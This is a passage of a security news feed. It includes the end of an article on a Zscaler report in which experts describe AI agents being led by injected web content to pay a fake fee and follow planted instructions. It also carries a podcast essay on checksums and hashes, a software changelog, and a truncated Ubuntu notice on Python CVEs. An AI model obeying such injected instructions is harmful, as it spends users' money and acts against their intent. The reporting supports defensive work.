<p>The post added, “as AI agents become a more common interface to the web, the content itself is going to become a larger attack surface, highlighting that AI is a double-edged sword that can streamline workflows while also introducing new avenues for abuse.”</p>



<p><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that although the results are not surprising, they are significant. </p>



<p>The especially worrisome detail in the report is that any commercial LLM failed at all, “because the security model for agentic AI has historically assumed that model-level safety training would meaningfully attenuate this class of attack,” Mahapatra said. “It does not, and the Zscaler data is the first widely-cited public evidence.”</p>



<h2 class="wp-block-heading">A fundamental architecture issue</h2>



<p>Mahapatra also said that the examples cited by Zscaler are not nearly as concerning as the implications of the greater damage that could occur.</p>



<p>“The Zscaler payment scam scenario, where an agent pays a fake $3 ‘developer license fee’ to obtain an API key, is the most benign version of this,” he said. “The same technique applied to an agent authorized for procurement, expense processing, vendor onboarding, or trade execution produces losses at completely different scales. I have watched Fortune 50 banks stand up agentic workflows in the last six months that would fail exactly this attack in a live examination.”</p>



<p>Indeed, he noted, most AI vendors already understand the magnitude of risk from today’s AI agents.</p>



<p>“Every model provider will admit privately that the fundamental architecture of transformer-based reasoning cannot cleanly separate untrusted content from trusted instructions when both share the context window,” Mahapatra said. “The attack surface is architectural, not just behavioral. That means the defense has to be architectural too, and this is where the enterprise agentic AI conversation is still lagging badly.”</p>



<p>Zscaler’s testing also reinforced the difference in how AI agents and humans process information.</p>



<p>“Humans are skeptical of instructions they did not expect. Agents are eager to follow structured metadata because their training rewards them for treating high-signal fields as authoritative. Humans notice when a payment request appears in the middle of an unrelated task. Agents will thread that payment request into their execution plan if the surrounding context frames it as procedurally necessary,” Mahapatra pointed out, noting that while humans have relationships with vendors, memories of prior interactions, and social context to give them verification signals, agents only have what is in the context window, and, he said, “the context window is now the primary attack surface.”</p>



<p><a href="https://www.infotech.com/profiles/fritz-jean-louis" target="_blank" rel="noreferrer noopener">Fritz Jean-Louis</a>, principal cybersecurity advisor at Info-Tech Research Group, agreed that the risks described in the ZScaler post are concerning, because they are in areas not traditionally addressed by enterprise security.</p>



<p>“These attacks differ from traditional threats in that they target how AI systems process, interpret, and act on information behind the scenes,” Jean-Louis said. “Agentic AI introduces new trust boundaries, including untrusted content influencing automated decision making, tools and plugins acting autonomously on behalf of users, and AI systems operating with broad, inherited permissions. This effectively transforms the challenge into an insider threat paradigm.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4677: UNIX Curio #10 - Checksums and Hashes]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.


In UNIX Curio #8 (
HPR episode 4657
), I talked about using standard utilities to compare files. L...]]></description>
<link>https://tsecurity.de/de/3650156/podcasts/hpr4677-unix-curio-10-checksums-and-hashes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650156/podcasts/hpr4677-unix-curio-10-checksums-and-hashes/</guid>
<pubDate>Tue, 07 Jul 2026 02:04:13 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<blockquote>
This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.</blockquote>

<p>
In UNIX Curio #8 (<a href="https://hackerpublicradio.org/eps/hpr4657/" rel="noopener noreferrer" target="_blank">
HPR episode 4657</a>
), I talked about using standard utilities to compare files. Left unmentioned, however, was a method commonly used today—the hash function.</p>

<p>
As I've stated in previous entries, while I am an engineer, I don't have a background in computer science, so my understanding of the mathematics is limited. But I can give a practical description of what a hash function does. It takes an input, performs a set of calculations on it, and produces an output. As hash functions are practically used, the input is a set of bytes, such as a file or another piece of data like a password. The output is a numerical value in a fixed range—most often, expressed as hexadecimal characters. Because this "hash value" can always be represented in a certain number of bytes, its length as printed is usually a constant number of characters, padded with leading zeros if necessary. This episode will not cover the use of hashes in programming, focusing instead on using them to validate data.</p>

<p>
A hash function, or more specifically, a cryptographic hash function, has an additional property. It should be very difficult to predict what changes to the input would be required to produce a specific change in the output.</p>

<p>
An older, related concept is called a "checksum". While these are designed to vary when the input data is damaged or digits are transposed, they do not necessarily have that last property mentioned for cryptographic hashes. You have probably already encountered a checksum, even if you didn't recognize it. On a <a href="https://en.wikipedia.org/wiki/Payment_card_number" rel="noopener noreferrer" target="_blank">
16-digit number assigned to a Mastercard or Visa</a>

<sup>
1</sup>
 credit or debit card, the first six digits identify the card issuer (such as a bank), the next nine digits are assigned to you by the issuer, and the last digit is a check digit. The check digit is calculated using the values of the previous 15 digits, and it is a simple way to avoid typos in entering a card number.</p>

<p>
In another example, every <a href="https://en.wikipedia.org/wiki/Ethernet_frame#Frame_check_sequence" rel="noopener noreferrer" target="_blank">
Ethernet frame that your devices send or receive includes a checksum</a>

<sup>
2</sup>
 to help ensure that the contents weren't scrambled in transit. This is 32 bits long and is called a cyclical redundancy check, commonly referred to as a CRC. A CRC is also used in many other places—for example, the .zip file format includes one for each archive member, and this allows a program extracting files from the archive to identify if any were damaged.</p>

<p>
Our UNIX Curio for today is another example, <a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/cksum.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/cksum.html" rel="noopener noreferrer" target="_blank">
cksum</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/cksum.html" rel="noopener noreferrer" target="_blank">
 utility</a>

<sup>
3</sup>
. It generates a 32-bit CRC based on the Ethernet algorithm. It operates on either a named file or standard input and outputs the CRC value, the length of the input, and the pathname if a file was given as an argument. Unlike most modern hashing programs, the checksum is printed as a decimal integer and is not padded, so it can be anywhere from one to ten digits long. The length value is the number of bytes in the input (actually specified as the number of <em>
octets</em>
, as systems could potentially use a byte that isn't eight bits long), also expressed as a decimal integer.</p>

<p>
There are two major ways that one could use <code>
cksum</code>
 to check the validity of a file. First, if you are transferring a file from one UNIX-like system to another, you could run <code>
cksum</code>
 against it on both systems and check that the CRC and length are the same. The utility can also be given multiple filenames as arguments, which would generate a list that can then be compared. The second way would be for someone publishing a file or set of files to also publish the CRC values, lengths, and names so that people downloading them could verify that they match. However, I don't think the practice of publishing lists like this really started until more recent hash functions like MD5 and SHA-1 came about so it is unlikely that anyone would publish CRC values instead.</p>

<p>
The advantage of these tools should be pretty obvious in comparison to <code>
cmp</code>
, one of the utilities discussed in UNIX Curio #8. To verify a file using <code>
cmp</code>
, you need two files to compare—if you're trying to check a large file you downloaded, you would need to spend the time and bandwidth to download a second copy. And if they didn't match, you would have no idea which of the two, if either, was correct. By contrast, <code>
cksum</code>
 is quicker to run, doesn't require downloading a massive amount of excess data, and if run against the original file, makes clear what the correct value is.</p>

<p>
This utility is a follow-on from a program called <code>
sum</code>
, which operated very much the same. I had a bit of trouble tracking down the exact development history, but what seems clear is that <a href="https://www.gnu.org/software/coreutils/manual/html_node/sum-invocation.html" rel="noopener noreferrer" target="_blank">
two different variants</a>

<sup>
4</sup>
 were popular: a BSD version and a System V version. Both output 16-bit checksums, but used different algorithms so they didn't give the same results. Also, the BSD version printed the length of the input data as the number of 1,024-byte blocks, while the System V version instead gave a count of 512-byte blocks. (Some sources <a href="https://man.freebsd.org/cgi/man.cgi?query=sum&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports" rel="noopener noreferrer" target="_blank">
claim that System V </a>

<code>

<a href="https://man.freebsd.org/cgi/man.cgi?query=sum&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports" rel="noopener noreferrer" target="_blank">
sum</a>

</code>

<a href="https://man.freebsd.org/cgi/man.cgi?query=sum&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports" rel="noopener noreferrer" target="_blank">
 generates a 32-bit checksum</a>

<sup>
5</sup>
, which could possibly be true internal to the algorithm, but I have tested several independent implementations of the utility and all of them output a 16-bit value for both the System V and BSD algorithms.)</p>

<p>
From what I can tell, <a href="https://www.tuhs.org/cgi-bin/utree.pl?file=3BSD/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
the BSD version</a>

<sup>
6,7</sup>
 came first; it was in 3BSD but probably appeared even earlier. An identical <a href="https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
copy of BSD's </a>

<code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
sum</a>

</code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
 was included with UNIX/32V</a>

<sup>
8,9</sup>
, which was AT&amp;T's 1979 port of Seventh Edition UNIX to the VAX and became one of the ancestors of System III. The divergence seems to have started with System III, released in 1980; <a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
its version of the </a>

<code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
sum</a>

</code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
 utility</a>

<sup>
10,11</sup>
 changed to a new default algorithm, though it could be made to use the BSD algorithm via the <code>
-r</code>
 option. System V looks to have kept the same behavior as System III. It's not clear to me why this algorithm is universally called the "System V algorithm" rather than the "System III algorithm"; perhaps it is because System V saw much more widespread use.</p>

<p>
Instead of trying to reconcile these differences, the POSIX committee decided to create a new utility with a unique name, use a separate algorithm entirely, and avoid the block-length dispute by printing the length in octets instead of blocks. I should point out that POSIX states that the CRC algorithm for <code>
cksum</code>
 does not strictly meet the mathematical definition of a "checksum". I don't know enough to say exactly <em>
why</em>
 it doesn't qualify or to say whether either of the <code>
sum</code>
 algorithms do. However, in less-formal usage the term "checksum" has gathered the meaning of any value used to represent or validate a set of data, so I am fine with using it no matter the technical details of the algorithm.</p>

<p>
When two different inputs produce the same checksum or hash value, this is called a "collision". Because the output value has a limited range, there are an infinite number of possible inputs that could produce a collision. From a practical standpoint the possibilities are more limited—the majority of these inputs are larger than the number of atoms in the universe, which can't fit on any machine. Unlike a cryptographic hash algorithm, the CRC is not specifically designed to resist an attacker crafting a malicious input that would cause a collision. However, it should be sufficient to detect accidental damage.</p>

<p>
Programs implementing more modern cryptographic hash algorithms are superior to the checksum utilities in avoiding collisions (whether malicious or accidental), but there are still three advantages that the older programs have. First, a system running a historical operating system might not have the hash programs available, but is more likely to have <code>
cksum</code>
 or <code>
sum</code>
 already included. Second, the checksum values are much shorter than the hashes output by the newer programs, making them easier for a user to compare by looking at them. This advantage is not as great as it might appear at first, because a common way to check a hash these days is to save a list of hashes and filenames—the hash programs can use that and do the comparison themselves, sparing the user from having to validate it character by character. The third advantage is that <code>
cksum</code>
 prints the input length in bytes. This greatly limits the number of inputs that could be maliciously crafted to create a collision.</p>

<p>
I did a moderate amount of research on implementations of modern cryptographic hash algorithms and found that some, such as MD5, SHA-1, and SHA-2, do use the length of the input (often termed "message length" in the literature) as part of the material fed in to the algorithm, but none of the hashing utilities present this length to the user as part of its output. There are two possible reasons for this that seem evident to me. First, if one is hashing a password, you would certainly not want to give a clear indication of its length—that would give any attacker a massive head start on guessing the password. However, that doesn't explain why one would avoid printing the input length for a file that is made publicly available. Second, it is convenient in many contexts, such as database entries or in software (such as <code>
git</code>
), for the hash to be a fixed length. Including an extra value that can be of variable length would complicate those use cases. However, the length value could simply be dropped and they would be no worse off than they are currently.</p>

<p>
Historically on UNIX, password hashing was treated differently from checksumming files—<a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/crypt.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/crypt.html" rel="noopener noreferrer" target="_blank">
crypt()</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/crypt.html" rel="noopener noreferrer" target="_blank">
 function</a>

<sup>
12</sup>
 was used for passwords while <code>
sum</code>
 and later <code>
cksum</code>
 were used to confirm a file's integrity. So even rather early on, these two use cases employed algorithms with different properties, but I haven't dived into the history deeply enough to know how intentional this was. My discussion in this episode focuses on the file use case, so understand that I'm largely avoiding the topic of password hashing. Digital signatures are yet another use case, one that I'm ignoring entirely.</p>

<p>
Every few years, some security researcher declares a particular hash algorithm to be "broken" and that everyone should move over to a new one, which generally has a longer hash. While the larger hash space certainly reduces the opportunity for collisions, this disrupts workflows, such as publishing information about software releases by e-mail, which still tends to observe a <a href="https://datatracker.ietf.org/doc/html/rfc2822#section-2.1.1" rel="noopener noreferrer" target="_blank">
78-character limit on each line</a>

<sup>
13</sup>
, making it harder to include a list of hashes with filenames next to them. This is in addition to the work of modifying software and scripts to use the new algorithm and managing how to treat past data. It seems to me that publishing the input length along with the hash would make it far more difficult to craft a malicious input that matches both, but I haven't found discussion of that during my investigation. (See the Appendix for a possible implementation.) Perhaps someone listening can record a response episode for HPR explaining that.</p>

<p>
References:</p>

<ol>

<li>

<a href="https://en.wikipedia.org/wiki/Payment_card_number" rel="noopener noreferrer" target="_blank">
Payment card number</a>
 https://en.wikipedia.org/wiki/Payment_card_number</li>

<li>

<a href="https://en.wikipedia.org/wiki/Ethernet_frame#Frame_check_sequence" rel="noopener noreferrer" target="_blank">
Ethernet frame: Frame check sequence</a>
 https://en.wikipedia.org/wiki/Ethernet_frame#Frame_check_sequence</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/cksum.html" rel="noopener noreferrer" target="_blank">
Cksum specification</a>
 https://pubs.opengroup.org/onlinepubs/009695399/utilities/cksum.html</li>

<li>

<a href="https://www.gnu.org/software/coreutils/manual/html_node/sum-invocation.html" rel="noopener noreferrer" target="_blank">
GNU coreutils manual: sum</a>
 https://www.gnu.org/software/coreutils/manual/html_node/sum-invocation.html</li>

<li>

<a href="https://man.freebsd.org/cgi/man.cgi?query=sum&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports" rel="noopener noreferrer" target="_blank">
FreeBSD 15.0 sum manual page</a>
 https://man.freebsd.org/cgi/man.cgi?query=sum&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=3BSD/usr/man/man1/sum.1" rel="noopener noreferrer" target="_blank">
3BSD sum manual page</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=3BSD/usr/man/man1/sum.1</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=3BSD/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
3BSD sum source</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=3BSD/usr/src/cmd/sum.c</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/man/man1/sum.1" rel="noopener noreferrer" target="_blank">
UNIX/32V sum manual page</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/man/man1/sum.1</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
UNIX/32V sum source</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=32V/usr/src/cmd/sum.c</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/sum.1" rel="noopener noreferrer" target="_blank">
System III sum manual page</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/sum.1</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/cmd/sum.c" rel="noopener noreferrer" target="_blank">
System III sum source</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/cmd/sum.c</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/crypt.html" rel="noopener noreferrer" target="_blank">
Crypt specification</a>
 https://pubs.opengroup.org/onlinepubs/009695399/functions/crypt.html</li>

<li>

<a href="https://datatracker.ietf.org/doc/html/rfc2822#section-2.1.1" rel="noopener noreferrer" target="_blank">
RFC 2822: Internet Message Format: Line Length Limits</a>
 https://datatracker.ietf.org/doc/html/rfc2822#section-2.1.1</li>

<li>

<a href="https://lwn.net/ml/all/dd12623ae86aa5eb@cvs.openbsd.org/" rel="noopener noreferrer" target="_blank">
OpenSSH 10.1 released</a>
 https://lwn.net/ml/all/dd12623ae86aa5eb@cvs.openbsd.org/</li>

</ol>

<p>

<strong>
Appendix</strong>

</p>

<p>
The MD5 hash algorithm was (and still is) widely used, but many people characterize it as being "broken" and discourage its use. Let us imagine a variant of this, called MD5.L, where the normal MD5 hash is followed by a "." character and the input length expressed as a hexadecimal number.</p>

<p>
Take, for example, the <a href="https://lwn.net/ml/all/dd12623ae86aa5eb@cvs.openbsd.org/" rel="noopener noreferrer" target="_blank">
e-mail message announcing the release of OpenSSH 10.1</a>

<sup>
14</sup>
. At the bottom, it includes an SHA-1 hash and an SHA-2 256-bit hash for the available gzipped <code>
tar</code>
 files. That longer hash is encoded with Base64 because if it were given as a hexadecimal number, it would make the line longer than 78 bytes. The MD5.L hash of the file would be one character shorter than the SHA-1 hash, as shown below. (The extra length of the <em>
name</em>
 makes them both consume the same number of characters. The hashes shown are for the "portable" version of OpenSSH.)</p>

<p>
Some people claim SHA-1 is also broken, seeking to have people use newer and longer hash functions. For an attacker to compromise MD5.L in this example, they would not only have to create a valid <code>
tar</code>
 file compressed with <code>
gzip</code>
 containing a malicious payload having the right MD5 hash, that file would have to be exactly 1,972,831 bytes long (the decimal equivalent of 1e1a5f). While there are still many possible inputs that could be tried (256<sup>
1972831</sup>
, to be exact*), this is far fewer than the infinite possibilities for plain MD5, SHA-1, or SHA-2.</p>

<p>
If for some reason it is super important to have a fixed hash length, let's imagine another variation called MD5+L. In this one, instead of L being the input length, it is the input length <a href="https://www.mathwords.com/m/modulo.htm" rel="noopener noreferrer" target="_blank">
modulo</a>
 one terabyte (2<sup>
40</sup>
 bytes), which can be represented by 10 hexadecimal characters, left-padded with zeros. While this approach substantially increases the number of possible inputs an attacker could try, it is likely that an intended victim would notice that the file they downloaded is larger (or smaller) than expected by that much. The MD5+L hash is longer than a SHA-1 hash, but still shorter than a 256-bit SHA-2 hash.</p>

<pre data-language="plain">
SHA1 (openssh-10.1p1.tar.gz) = 7fd17b99d1beffb47cd380d64079e920bb0bd91f
SHA256 (openssh-10.1p1.tar.gz) = ufx6K4JXlGem8vQ+SoHI4d/aYU3bT5slWq/XAgu/B1g=
MD5.L (openssh-10.1p1.tar.gz) = 80dd9bb00a86519934710d05903fdf07.1e1a5f
MD5+L (openssh-10.1p1.tar.gz) = 80dd9bb00a86519934710d05903fdf07+00001e1a5f
</pre>

<p>
Of course, if MD5 is considered to be too weak even with the inclusion of the length, one could produce a ".L" or "+L" version of any hash function. However, longer hashes <em>
will</em>
 end up running into the 78-character limit.</p>

<p>

<em>
*This is a number with 4.75 million digits that the </em>

<code>

<em>
bc</em>

</code>

<em>
 utility on my laptop took almost 5 minutes to calculate.</em>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.14]]></title>
<description><![CDATA[Core
Improvements

Added a code mode MCP adapter for running confined orchestration scripts against connected MCP tools.
Hid the execute tool unless code mode is enabled.

Bugfixes

Fixed paginated MCP tool catalogs losing tool metadata and output schema validation.
Preserved low reasoning effort...]]></description>
<link>https://tsecurity.de/de/3649660/downloads/v11714/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649660/downloads/v11714/</guid>
<pubDate>Mon, 06 Jul 2026 21:02:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Added a code mode MCP adapter for running confined orchestration scripts against connected MCP tools.</li>
<li>Hid the <code>execute</code> tool unless code mode is enabled.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Fixed paginated MCP tool catalogs losing tool metadata and output schema validation.</li>
<li>Preserved low reasoning effort for OpenRouter small-model variants instead of disabling it.</li>
<li>Fixed GitHub Copilot model routing to honor each model's advertised chat or responses endpoint.</li>
<li>Fixed session lists to match equivalent instance directories reliably.</li>
<li>Fixed Cerebras reasoning replay so earlier assistant reasoning is sent back in the provider-supported field.</li>
</ul>
<h2>TUI</h2>
<h3>Bugfixes</h3>
<ul>
<li>Fixed spinner registration so loading indicators keep rendering across TUI surfaces.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Show draft server status in the title bar.</li>
<li>Unified the provider connect flow across the app.</li>
<li>Improved the integrated terminal experience. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Added reopening for closed tabs and background tab opening. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
<li>Improved model search in picker dialogs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Added recently closed projects to Home. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
<li>Made tab navigation respond on mouse down in the new layout.</li>
<li>Overhauled the v2 review panel. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Refined the session tab preview popover. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Fixed new sessions from Home using the wrong project.</li>
<li>Fixed first-launch onboarding so it only appears when appropriate.</li>
<li>Improved large review pane performance.</li>
<li>Fixed timeline loads that started on assistant replies by backfilling the missing user turn.</li>
<li>Restored typing in the composer while the window is unfocused.</li>
<li>Fixed dropdown search behavior. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Kept the v2 review pane mounted when switching session tabs.</li>
<li>Kept the terminal mounted when switching session tabs in a workspace.</li>
<li>Fixed session tab busy indicators to stay scoped to the correct server.</li>
<li>Fixed child-session navigation and lineage resolution during tab transitions.</li>
<li>Kept desktop window tabs after closing and reopening the app.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>:
<ul>
<li>feat(desktop): refine session tab preview popover (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788980437" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34792" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34792/hovercard" href="https://github.com/anomalyco/opencode/pull/34792">#34792</a>)</li>
<li>feat(desktop): add recently closed projects to home (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794880236" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34926" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34926/hovercard" href="https://github.com/anomalyco/opencode/pull/34926">#34926</a>)</li>
<li>feat(desktop): papercut fixes (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795127749" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34939" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34939/hovercard" href="https://github.com/anomalyco/opencode/pull/34939">#34939</a>)</li>
<li>feat(desktop): reopen closed tabs and background tab open (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797586133" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/35010" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/35010/hovercard" href="https://github.com/anomalyco/opencode/pull/35010">#35010</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>:
<ul>
<li>feat(app): v2 review panel overhaul (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640338817" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31882" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31882/hovercard" href="https://github.com/anomalyco/opencode/pull/31882">#31882</a>)</li>
<li>feat(app): align subagent UI with v2 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795025617" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34931" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34931/hovercard" href="https://github.com/anomalyco/opencode/pull/34931">#34931</a>)</li>
<li>feat(app): improvements to model search (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795626375" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34954" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34954/hovercard" href="https://github.com/anomalyco/opencode/pull/34954">#34954</a>)</li>
<li>feat(app): dropdown search fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795864210" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34961" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34961/hovercard" href="https://github.com/anomalyco/opencode/pull/34961">#34961</a>)</li>
<li>feat(app): terminal improvements (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785228462" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34747" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34747/hovercard" href="https://github.com/anomalyco/opencode/pull/34747">#34747</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/StarpTech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/StarpTech">@StarpTech</a>:
<ul>
<li>feat(tui): add debug info dialog with copy to clipboard (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797155811" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/35004" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/35004/hovercard" href="https://github.com/anomalyco/opencode/pull/35004">#35004</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8509-1: Python vulnerabilities]]></title>
<description><![CDATA[It was discovered that Python incorrectly normalized paths in the tarfile
module. An attacker could possibly use this issue to bypass path
restrictions. This issue only affected Ubuntu 22.04 LTS and Ubuntu 24.04
LTS. (CVE-2025-13462)

It was discovered that Python's HTMLParser incorrectly handled...]]></description>
<link>https://tsecurity.de/de/3648839/unix-server/usn-8509-1-python-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648839/unix-server/usn-8509-1-python-vulnerabilities/</guid>
<pubDate>Mon, 06 Jul 2026 15:31:53 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that Python incorrectly normalized paths in the tarfile
module. An attacker could possibly use this issue to bypass path
restrictions. This issue only affected Ubuntu 22.04 LTS and Ubuntu 24.04
LTS. (CVE-2025-13462)

It was discovered that Python's HTMLParser incorrectly handled certain
malformed HTML input. An attacker could possibly use this issue to cause
Python to crash, resulting in a denial of service. This issue only affected
Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2025-69534)

It was discovered that Python's email module incorrectly quoted newlines
in headers. An attacker could possibly use this issue to inject arbitrary
email headers. This issue only affected Ubuntu 22.04 LTS and Ubuntu
24.04 LTS. (CVE-2026-1299)

It was discovered that Python's http.client module did not properly
sanitize carriage return and linefeed characters when handling HTTP
CONNECT tunnel request headers. An attacker could possibly use this issue
to inject arbitrary HTTP headers. (CVE-2026-1502)

It was discovered that Python's importlib module did not generate an
audit event when loading legacy .pyc files. An attacker could possibly
use this issue to bypass auditing mechanisms. This issue only affected
Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. (CVE-2026-2297)

It was discovered that Python's unicodedata.normalize() function had
incorrect algorithmic complexity. An attacker could possibly use this
issue to cause Python to consume excessive resources, leading to a denial
of service. (CVE-2026-3276)

It was discovered that Python's http.cookies module incorrectly handled
control characters in certain cookie operations. An attacker could possibly
